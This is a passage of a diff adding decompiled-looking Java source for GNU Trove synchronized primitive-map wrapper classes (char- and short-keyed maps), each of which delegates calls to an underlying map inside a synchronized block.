+    public short adjustOrPutValue(short key, short adjust_amount, short put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedShortCharMap
+    implements gnu.trove.map.TShortCharMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TShortCharMap m;
+    final Object mutex;
+    
+    public TSynchronizedShortCharMap(gnu.trove.map.TShortCharMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedShortCharMap(gnu.trove.map.TShortCharMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(short key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(char value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public char get(short key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public char put(short key, char value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public char remove(short key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Short, ? extends Character> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TShortCharMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TShortSet keySet = null;
+    private transient TCharCollection values = null;
+    
+    public gnu.trove.set.TShortSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedShortSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public short[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public short[] keys(short[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TCharCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedCharCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public char[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public char[] values(char[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TShortCharIterator iterator() { return m.iterator(); }
+    
+
+
+    public short getNoEntryKey() { return m.getNoEntryKey(); }
+    public char getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public char putIfAbsent(short key, char value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TShortProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TCharProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TShortCharProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TCharFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TShortCharProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(short key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(short key, char amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public char adjustOrPutValue(short key, char adjust_amount, char put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedCharDoubleMap
+    implements TCharDoubleMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TCharDoubleMap m;
+    final Object mutex;
+    
+    public TSynchronizedCharDoubleMap(TCharDoubleMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedCharDoubleMap(TCharDoubleMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(char key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(double value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public double get(char key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public double put(char key, double value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public double remove(char key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Character, ? extends Double> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TCharDoubleMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TCharSet keySet = null;
+    private transient TDoubleCollection values = null;
+    
+    public gnu.trove.set.TCharSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedCharSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public char[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public char[] keys(char[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TDoubleCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedDoubleCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public double[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public double[] values(double[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TCharDoubleIterator iterator() { return m.iterator(); }
+    
+
+
+    public char getNoEntryKey() { return m.getNoEntryKey(); }
+    public double getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public double putIfAbsent(char key, double value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TCharProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TDoubleProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TCharDoubleProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TDoubleFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TCharDoubleProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(char key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(char key, double amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public double adjustOrPutValue(char key, double adjust_amount, double put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedCharFloatMap
+    implements gnu.trove.map.TCharFloatMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TCharFloatMap m;
+    final Object mutex;
+    
+    public TSynchronizedCharFloatMap(gnu.trove.map.TCharFloatMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedCharFloatMap(gnu.trove.map.TCharFloatMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(char key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(float value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public float get(char key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public float put(char key, float value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public float remove(char key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Character, ? extends Float> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TCharFloatMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TCharSet keySet = null;
+    private transient TFloatCollection values = null;
+    
+    public gnu.trove.set.TCharSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedCharSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public char[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public char[] keys(char[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TFloatCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedFloatCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public float[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public float[] values(float[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TCharFloatIterator iterator() { return m.iterator(); }
+    
+
+
+    public char getNoEntryKey() { return m.getNoEntryKey(); }
+    public float getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public float putIfAbsent(char key, float value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TCharProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TFloatProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TCharFloatProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TFloatFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TCharFloatProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(char key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(char key, float amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public float adjustOrPutValue(char key, float adjust_amount, float put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedCharIntMap
+    implements gnu.trove.map.TCharIntMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TCharIntMap m;
+    final Object mutex;
+    
+    public TSynchronizedCharIntMap(gnu.trove.map.TCharIntMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedCharIntMap(gnu.trove.map.TCharIntMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(char key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(int value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public int get(char key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public int put(char key, int value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public int remove(char key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Character, ? extends Integer> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TCharIntMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TCharSet keySet = null;
+    private transient TIntCollection values = null;
+    
+    public gnu.trove.set.TCharSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedCharSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public char[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public char[] keys(char[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TIntCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedIntCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public int[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public int[] values(int[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TCharIntIterator iterator() { return m.iterator(); }
+    
+
+
+    public char getNoEntryKey() { return m.getNoEntryKey(); }
+    public int getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public int putIfAbsent(char key, int value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TCharProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TIntProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TCharIntProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TIntFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TCharIntProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(char key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(char key, int amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public int adjustOrPutValue(char key, int adjust_amount, int put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedCharLongMap
+    implements TCharLongMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TCharLongMap m;
+    final Object mutex;
+    
+    public TSynchronizedCharLongMap(TCharLongMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedCharLongMap(TCharLongMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(char key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(long value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public long get(char key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public long put(char key, long value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public long remove(char key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Character, ? extends Long> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TCharLongMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TCharSet keySet = null;
+    private transient TLongCollection values = null;
+    
+    public gnu.trove.set.TCharSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedCharSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public char[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public char[] keys(char[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TLongCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedLongCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public long[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public long[] values(long[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TCharLongIterator iterator() { return m.iterator(); }
+    
+
+
+    public char getNoEntryKey() { return m.getNoEntryKey(); }
+    public long getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public long putIfAbsent(char key, long value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TCharProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TLongProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TCharLongProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TLongFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TCharLongProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(char key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(char key, long amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public long adjustOrPutValue(char key, long adjust_amount, long put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedCharByteMap
+    implements gnu.trove.map.TCharByteMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TCharByteMap m;
+    final Object mutex;
+    
+    public TSynchronizedCharByteMap(gnu.trove.map.TCharByteMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedCharByteMap(gnu.trove.map.TCharByteMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(char key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(byte value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public byte get(char key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public byte put(char key, byte value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public byte remove(char key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Character, ? extends Byte> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TCharByteMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TCharSet keySet = null;
+    private transient TByteCollection values = null;
+    
+    public gnu.trove.set.TCharSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedCharSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public char[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public char[] keys(char[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TByteCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedByteCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public byte[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public byte[] values(byte[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TCharByteIterator iterator() { return m.iterator(); }
+    
+
+
+    public char getNoEntryKey() { return m.getNoEntryKey(); }
+    public byte getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public byte putIfAbsent(char key, byte value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TCharProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TByteProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TCharByteProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TByteFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TCharByteProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(char key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(char key, byte amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public byte adjustOrPutValue(char key, byte adjust_amount, byte put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedCharShortMap
+    implements TCharShortMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TCharShortMap m;
+    final Object mutex;
+    
+    public TSynchronizedCharShortMap(TCharShortMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedCharShortMap(TCharShortMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(char key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(short value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public short get(char key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public short put(char key, short value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public short remove(char key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Character, ? extends Short> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TCharShortMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TCharSet keySet = null;
+    private transient TShortCollection values = null;
+    
+    public gnu.trove.set.TCharSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedCharSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public char[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public char[] keys(char[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TShortCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedShortCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public short[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public short[] values(short[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TCharShortIterator iterator() { return m.iterator(); }
+    
+
+
+    public char getNoEntryKey() { return m.getNoEntryKey(); }
+    public short getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public short putIfAbsent(char key, short value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TCharProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TShortProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TCharShortProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TShortFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TCharShortProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(char key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(char key, short amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public short adjustOrPutValue(char key, short adjust_amount, short put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedCharCharMap
+    implements TCharCharMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TCharCharMap m;
+    final Object mutex;
+    
+    public TSynchronizedCharCharMap(TCharCharMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedCharCharMap(TCharCharMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(char key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(char value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public char get(char key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public char put(char key, char value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public char remove(char key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Character, ? extends Character> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TCharCharMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TCharSet keySet = null;
+    private transient TCharCollection values = null;
+    
+    public gnu.trove.set.TCharSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedCharSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public char[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public char[] keys(char[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TCharCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedCharCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public char[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public char[] values(char[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TCharCharIterator iterator() { return m.iterator(); }
+    
+
+
+    public char getNoEntryKey() { return m.getNoEntryKey(); }
+    public char getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public char putIfAbsent(char key, char value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TCharProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TCharProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TCharCharProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
